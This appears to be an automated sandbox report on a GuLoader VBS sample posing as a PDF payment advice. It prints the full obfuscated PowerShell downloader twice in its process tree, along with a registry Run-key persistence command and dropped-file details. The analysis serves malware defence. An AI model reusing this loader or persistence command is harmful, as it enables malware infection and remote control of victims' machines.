Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/08/2024, 01:57

General

  • Target
    Payment_Confirmation_Advice_150000-0000837849_pdf.vbs
  • Size 137KB
  • Sample240822-cdb96asfqe
  • SHA256 2e011cca59e4ed2bf6827410c362224bf8d6633fb374e0b5348ba37e0c7109ed
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Confirmation_Advice_150000-0000837849_pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Betonklods82='SUBsTR';$Fredsvennens++;}$Betonklods82+='ing';Function Inditer($Forsrgelseskommunerne){$Prossed=$Forsrgelseskommunerne.Length-$Fredsvennens;For( $Cykelbuddes=2;$Cykelbuddes -lt $Prossed;$Cykelbuddes+=3){$Bondmanship+=$Forsrgelseskommunerne.$Betonklods82.'Invoke'( $Cykelbuddes, $Fredsvennens);}$Bondmanship;}function Befleaed($Matutine){ . ($Bihulen) ($Matutine);}$jordskorpen=Inditer 'DrMProUnzStiD lShlMaaPe/st5 P.Pr0J Be(SuWA.iR nAad ,oA wCosUp t.NScTWa T1R.0Te. o0To;Af SwW MiFinHy6 u4I,; U Six i6b 4Sa;St RdrUlvRo:Sh1 S2Ex1 P. F0un)Ay SG eeT cUnk To.e/Sn2T.0.a1Le0Tr0Fo1.t0Pa1S, ,oF iInrTyeCof,po xPa/.o1Vi2 B1Pr.An0.t ';$Smrrebrdsbutikker=Inditer 'A,U asReeT r T-TuALagB eHunUntPa ';$Countenanced=Inditer 'Egh .tPit,spOpsTi:As/mi/ .sE e ,rG vPrr k-SijU,kEftS..Ovc Jo .mNo/.lLAdoPeiSctSteBlrSt.MeaEkfolmAr>jehDetBrtN,pF.sJo:Br/Ve/.ov roWii mn Se eab s .aMa.BirAuo o/Mec.roPlnKrtB eUnnIot,os.n/SyLRooChi.jtSleBor ,.S,aRufI mPr ';$Mucilages=Inditer 'He>Te ';$Bihulen=Inditer ' iM.e Tx c ';$Pikparaders='Besid';$Programfunktioner = Inditer ' .eS cSuhC oIn An%SkaPopS,p Ddoxa,kt,vaHs% \A,TU rkllvabF e prskeInnObsS..VeDRea BtUn Ne&,a& U ve,nc HhMioSj AftB ';Befleaed (Inditer 'Fa$DigOvlPhoScb aaM lP,:TaMHva Mn AgPra.hl .=G,(Brc KmBadN Om/.ocC, Sn$OvPUnrU,oUrgDerDia,emdifUduL,n kDotSki eoT.nAfeKerBo)Sm ');Befleaed (Inditer 'Va$ Mg NlM oH,bNoaSelA.: uG l Vi,bmFetBr=Sk$ sCI,oLuu nKatToeEfnE a .n Pc MeR,dU.. lsAspHal,eiTotBa( F$ uMCruPicFoi l aTrg.oe AsDr)H. ');Befleaed (Inditer 'Le[S.NS eRet ,.,oSNoeDer ,vE i BcGheSuP,aoPhi Tn WtA.MMea ,nS aMig eSpr S]Cr:Ga:S.SUde.ocWou irF,iTet,eyGrPPar ooSttS.o,ycS oT,l T Ru=Ch H [PhN .eKatNo.SaS,ae FcBeuVar.aiH,t .y .PFor So .tSooDec FoN,lPoTFyy Wp.fe B]Sp:Id:D,TT,l .sSt1Ba2De ');$Countenanced=$Glimt[0];$Besttelsernes= (Inditer ' M$GugAmlSnoPab,na LlUd:piAGrkDes ii.en ajC.aS.sRa1De0af=OeNU,eSpwD.- KOI b,ujSle,acB t . .uS.iy As,etCaeLemU..SlNPoe .tka.FaWHoe.ebGlCBolEviCae.anAft');$Besttelsernes+=$Mangal[1];Befleaed ($Besttelsernes);Befleaed (Inditer ' .$guA Kk SsVei On.njOsa,ns.a1 .0.i.KaH FeMiaHod.ae.nr,mspa[ ,$GaS.emRerDer reunbOsr AdHjsEfb ZuAftViiSckRekVee,orHo]El= P$ Gj oHar ddSvsLrkH oUlr,npAfe.rnRi ');$masticatories=Inditer 'mi$UdAMekU,sNyi AnUnjReaHos S1H 0Te.ApDDio.awDrn SlFooEpa,vdGeF siP.lNoe o(Mo$F.CCoo muStnPitKaeL nWeaRen IcV,e edbe,St$t.M.xeAklSyl.ke.amScsOutSkaSvdGle Br lnLuepos,o)Ti ';$Mellemstadernes=$Mangal[0];Befleaed (Inditer ' U$UrgL lSpoasb.aaQ.lI :ShEP,p ah .e udL r.ea cN,e eafoe.o= B(R,T FeM.sCot.o-VeP,laD t EhKu Da$ BMMueTrlPolA,eInm PsTatBra md eTrr,dnB ecosAf)M. ');while (!$Ephedraceae) {Befleaed (Inditer ',n$ g lSloA.bAnap lKo:AlPL,rFaeria HcRet,ni .v ciVatPay,u=G $ GtFer Pu deo ') ;Befleaed $masticatories;Befleaed (Inditer 'FoS.ot Ta,nrS t,g-o.SDil.peBeeElpSy Br4,n ');Befleaed (Inditer 'Co$A gPalAro .bS.a Dl.h:TrEHopGyh Se .dInrlra.hcTue aUneKe=Pa(KeT eHasGet a-MePR.aSkt.chFi Be$,eM.eeCol PlBoeUnmResSatNoaKad echrAknS eFasTa) s ') ;Befleaed (Inditer ' y$A g FlO.o ibObaMilUn:UlpKrhSoa Pc DiJodUni naInl .eSuske=Su$Trg SlVioDobBra ,l .:OpL ,o .vTefBoo nrChsP l.aaF.gPeeTynChe G+ J+vi%Wr$GeGHil.riLfm CtI.. ,cenoSeu,enC,tba ') ;$Countenanced=$Glimt[$phacidiales];}$Mowrah=359146;$Hippometer30=27660;Befleaed (Inditer 'tr$ og.ulFjo,fbVaaB,l,n:SkK neTrmc iCaiLin edDaufosL.t Br iiLaeE.nPr Ta= e ,eG Ae ,t -.aCProCrn pt Se.cnSutG u$BaMHoeMolI.l,sedrm ,sTitUda,jdPhe HrCanReeM sOw ');Befleaed (Inditer 'No$W g.ql coC,bmoaP.lNa: FAR.dKaa.pmTro k2Su2 D6,k .i=Ol Ng[ChS Kyfas St,oeKvmEg.G.C .oWonNevCoe rH.tLe] R:Op:UnFC rSnoE mA.BLya OsU,eTr6Mo4SmSfytHurBli .n SgUn(Af$B K,ae .m .iFuiSpnchdtru SsVat HrPeiAfeHanP )De ');Befleaed (Inditer 'Tu$ ogU l Co bA aHvlNe: LD .i Os KcIneSkrS.pK,i.ebMal eeRinUkeResA sIn G,=Vi Sc[FoSJuy.as ,tReeN mB,.UvTSleTrxS.tal.TiE ,n,ycE,o.edU i nTeg ,]Pr: S:StAPrSj,CReIAlIIm.U,G SeLotTiSB,t.erUdiOvnCag E(Sa$.aA.nd UaSam RoCo2S.2T,6E.).e ');Befleaed (Inditer 'Ge$HogB,l .o Eb,raSclF :W,FDeo SdPebsooprl pdBefToo ,l .kJge.atTh2Jo5 .5To=Tr$ fDDiiMosSac CeHir.epF,iA.bCalChe RnCaeSks,osLa.Dmsu.uFabS s Ct TrHei n sgNo( B$ FM .oB wIsr ra AhP.,Eu$BeHAai rp GpAtoAfmkueSutMee orTr3Un0Ar)A. ');Befleaed $Fodboldfolket255;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trlberens.Dat && echo t"
        3⤵
          PID:4368
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Betonklods82='SUBsTR';$Fredsvennens++;}$Betonklods82+='ing';Function Inditer($Forsrgelseskommunerne){$Prossed=$Forsrgelseskommunerne.Length-$Fredsvennens;For( $Cykelbuddes=2;$Cykelbuddes -lt $Prossed;$Cykelbuddes+=3){$Bondmanship+=$Forsrgelseskommunerne.$Betonklods82.'Invoke'( $Cykelbuddes, $Fredsvennens);}$Bondmanship;}function Befleaed($Matutine){ . ($Bihulen) ($Matutine);}$jordskorpen=Inditer 'DrMProUnzStiD lShlMaaPe/st5 P.Pr0J Be(SuWA.iR nAad ,oA wCosUp t.NScTWa T1R.0Te. o0To;Af SwW MiFinHy6 u4I,; U Six i6b 4Sa;St RdrUlvRo:Sh1 S2Ex1 P. F0un)Ay SG eeT cUnk To.e/Sn2T.0.a1Le0Tr0Fo1.t0Pa1S, ,oF iInrTyeCof,po xPa/.o1Vi2 B1Pr.An0.t ';$Smrrebrdsbutikker=Inditer 'A,U asReeT r T-TuALagB eHunUntPa ';$Countenanced=Inditer 'Egh .tPit,spOpsTi:As/mi/ .sE e ,rG vPrr k-SijU,kEftS..Ovc Jo .mNo/.lLAdoPeiSctSteBlrSt.MeaEkfolmAr>jehDetBrtN,pF.sJo:Br/Ve/.ov roWii mn Se eab s .aMa.BirAuo o/Mec.roPlnKrtB eUnnIot,os.n/SyLRooChi.jtSleBor ,.S,aRufI mPr ';$Mucilages=Inditer 'He>Te ';$Bihulen=Inditer ' iM.e Tx c ';$Pikparaders='Besid';$Programfunktioner = Inditer ' .eS cSuhC oIn An%SkaPopS,p Ddoxa,kt,vaHs% \A,TU rkllvabF e prskeInnObsS..VeDRea BtUn Ne&,a& U ve,nc HhMioSj AftB ';Befleaed (Inditer 'Fa$DigOvlPhoScb aaM lP,:TaMHva Mn AgPra.hl .=G,(Brc KmBadN Om/.ocC, Sn$OvPUnrU,oUrgDerDia,emdifUduL,n kDotSki eoT.nAfeKerBo)Sm ');Befleaed (Inditer 'Va$ Mg NlM oH,bNoaSelA.: uG l Vi,bmFetBr=Sk$ sCI,oLuu nKatToeEfnE a .n Pc MeR,dU.. lsAspHal,eiTotBa( F$ uMCruPicFoi l aTrg.oe AsDr)H. ');Befleaed (Inditer 'Le[S.NS eRet ,.,oSNoeDer ,vE i BcGheSuP,aoPhi Tn WtA.MMea ,nS aMig eSpr S]Cr:Ga:S.SUde.ocWou irF,iTet,eyGrPPar ooSttS.o,ycS oT,l T Ru=Ch H [PhN .eKatNo.SaS,ae FcBeuVar.aiH,t .y .PFor So .tSooDec FoN,lPoTFyy Wp.fe B]Sp:Id:D,TT,l .sSt1Ba2De ');$Countenanced=$Glimt[0];$Besttelsernes= (Inditer ' M$GugAmlSnoPab,na LlUd:piAGrkDes ii.en ajC.aS.sRa1De0af=OeNU,eSpwD.- KOI b,ujSle,acB t . .uS.iy As,etCaeLemU..SlNPoe .tka.FaWHoe.ebGlCBolEviCae.anAft');$Besttelsernes+=$Mangal[1];Befleaed ($Besttelsernes);Befleaed (Inditer ' .$guA Kk SsVei On.njOsa,ns.a1 .0.i.KaH FeMiaHod.ae.nr,mspa[ ,$GaS.emRerDer reunbOsr AdHjsEfb ZuAftViiSckRekVee,orHo]El= P$ Gj oHar ddSvsLrkH oUlr,npAfe.rnRi ');$masticatories=Inditer 'mi$UdAMekU,sNyi AnUnjReaHos S1H 0Te.ApDDio.awDrn SlFooEpa,vdGeF siP.lNoe o(Mo$F.CCoo muStnPitKaeL nWeaRen IcV,e edbe,St$t.M.xeAklSyl.ke.amScsOutSkaSvdGle Br lnLuepos,o)Ti ';$Mellemstadernes=$Mangal[0];Befleaed (Inditer ' U$UrgL lSpoasb.aaQ.lI :ShEP,p ah .e udL r.ea cN,e eafoe.o= B(R,T FeM.sCot.o-VeP,laD t EhKu Da$ BMMueTrlPolA,eInm PsTatBra md eTrr,dnB ecosAf)M. ');while (!$Ephedraceae) {Befleaed (Inditer ',n$ g lSloA.bAnap lKo:AlPL,rFaeria HcRet,ni .v ciVatPay,u=G $ GtFer Pu deo ') ;Befleaed $masticatories;Befleaed (Inditer 'FoS.ot Ta,nrS t,g-o.SDil.peBeeElpSy Br4,n ');Befleaed (Inditer 'Co$A gPalAro .bS.a Dl.h:TrEHopGyh Se .dInrlra.hcTue aUneKe=Pa(KeT eHasGet a-MePR.aSkt.chFi Be$,eM.eeCol PlBoeUnmResSatNoaKad echrAknS eFasTa) s ') ;Befleaed (Inditer ' y$A g FlO.o ibObaMilUn:UlpKrhSoa Pc DiJodUni naInl .eSuske=Su$Trg SlVioDobBra ,l .:OpL ,o .vTefBoo nrChsP l.aaF.gPeeTynChe G+ J+vi%Wr$GeGHil.riLfm CtI.. ,cenoSeu,enC,tba ') ;$Countenanced=$Glimt[$phacidiales];}$Mowrah=359146;$Hippometer30=27660;Befleaed (Inditer 'tr$ og.ulFjo,fbVaaB,l,n:SkK neTrmc iCaiLin edDaufosL.t Br iiLaeE.nPr Ta= e ,eG Ae ,t -.aCProCrn pt Se.cnSutG u$BaMHoeMolI.l,sedrm ,sTitUda,jdPhe HrCanReeM sOw ');Befleaed (Inditer 'No$W g.ql coC,bmoaP.lNa: FAR.dKaa.pmTro k2Su2 D6,k .i=Ol Ng[ChS Kyfas St,oeKvmEg.G.C .oWonNevCoe rH.tLe] R:Op:UnFC rSnoE mA.BLya OsU,eTr6Mo4SmSfytHurBli .n SgUn(Af$B K,ae .m .iFuiSpnchdtru SsVat HrPeiAfeHanP )De ');Befleaed (Inditer 'Tu$ ogU l Co bA aHvlNe: LD .i Os KcIneSkrS.pK,i.ebMal eeRinUkeResA sIn G,=Vi Sc[FoSJuy.as ,tReeN mB,.UvTSleTrxS.tal.TiE ,n,ycE,o.edU i nTeg ,]Pr: S:StAPrSj,CReIAlIIm.U,G SeLotTiSB,t.erUdiOvnCag E(Sa$.aA.nd UaSam RoCo2S.2T,6E.).e ');Befleaed (Inditer 'Ge$HogB,l .o Eb,raSclF :W,FDeo SdPebsooprl pdBefToo ,l .kJge.atTh2Jo5 .5To=Tr$ fDDiiMosSac CeHir.epF,iA.bCalChe RnCaeSks,osLa.Dmsu.uFabS s Ct TrHei n sgNo( B$ FM .oB wIsr ra AhP.,Eu$BeHAai rp GpAtoAfmkueSutMee orTr3Un0Ar)A. ');Befleaed $Fodboldfolket255;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1780
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trlberens.Dat && echo t"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:5064
          • C:\Program Files (x86)\windows mail\wab.exe
            "C:\Program Files (x86)\windows mail\wab.exe"
            4⤵
            • Suspicious use of NtCreateThreadExHideFromDebugger
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1796
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\Strejfendes114\').Polyodontal;%Sljfen% ($Hjemmesko184)"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4444
              • C:\Windows\SysWOW64\reg.exe
                REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\Strejfendes114\').Polyodontal;%Sljfen% ($Hjemmesko184)"
                6⤵
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:4000

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          logs.dat

          • Path C:\ProgramData\remcos\logs.dat
          • Size 184B
          • SHA256 9f6d0a764adb820833d502367a4302abae58a896e058c1ca935e83e71624d6a2
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_lqh0h3md.tvz.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqh0h3md.tvz.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          Trlberens.Dat

          • Path C:\Users\Admin\AppData\Roaming\Trlberens.Dat
          • Size 503KB
          • SHA256 75f2803d0e7e46dba622a5aa1d006d2c9eb691ac6205d454cbb6dd6ee144c35c
          • MD5 SHA1 SHA512 SSDEEP

          memory/1568-14-0x00000180670E0000-0x0000018067102000-memory.dmp

          memory/1568-15-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

          memory/1568-16-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

          memory/1568-4-0x00007FFD19E83000-0x00007FFD19E85000-memory.dmp

          memory/1568-54-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

          memory/1568-42-0x00007FFD19E83000-0x00007FFD19E85000-memory.dmp

          memory/1568-43-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

          memory/1780-20-0x0000000005960000-0x0000000005F88000-memory.dmp

          memory/1780-40-0x0000000008730000-0x0000000008CD4000-memory.dmp

          memory/1780-35-0x0000000006750000-0x000000000679C000-memory.dmp

          memory/1780-36-0x00000000080B0000-0x000000000872A000-memory.dmp

          memory/1780-37-0x0000000006C90000-0x0000000006CAA000-memory.dmp

          memory/1780-38-0x0000000007A30000-0x0000000007AC6000-memory.dmp

          memory/1780-39-0x0000000007930000-0x0000000007952000-memory.dmp

          memory/1780-34-0x0000000006710000-0x000000000672E000-memory.dmp

          memory/1780-33-0x0000000006130000-0x0000000006484000-memory.dmp

          memory/1780-23-0x0000000006000000-0x0000000006066000-memory.dmp

          memory/1780-22-0x00000000058F0000-0x0000000005956000-memory.dmp

          memory/1780-44-0x0000000008CE0000-0x0000000009688000-memory.dmp

          memory/1780-19-0x0000000002E30000-0x0000000002E66000-memory.dmp

          memory/1780-21-0x0000000005840000-0x0000000005862000-memory.dmp

          memory/1796-51-0x0000000001A60000-0x0000000002408000-memory.dmp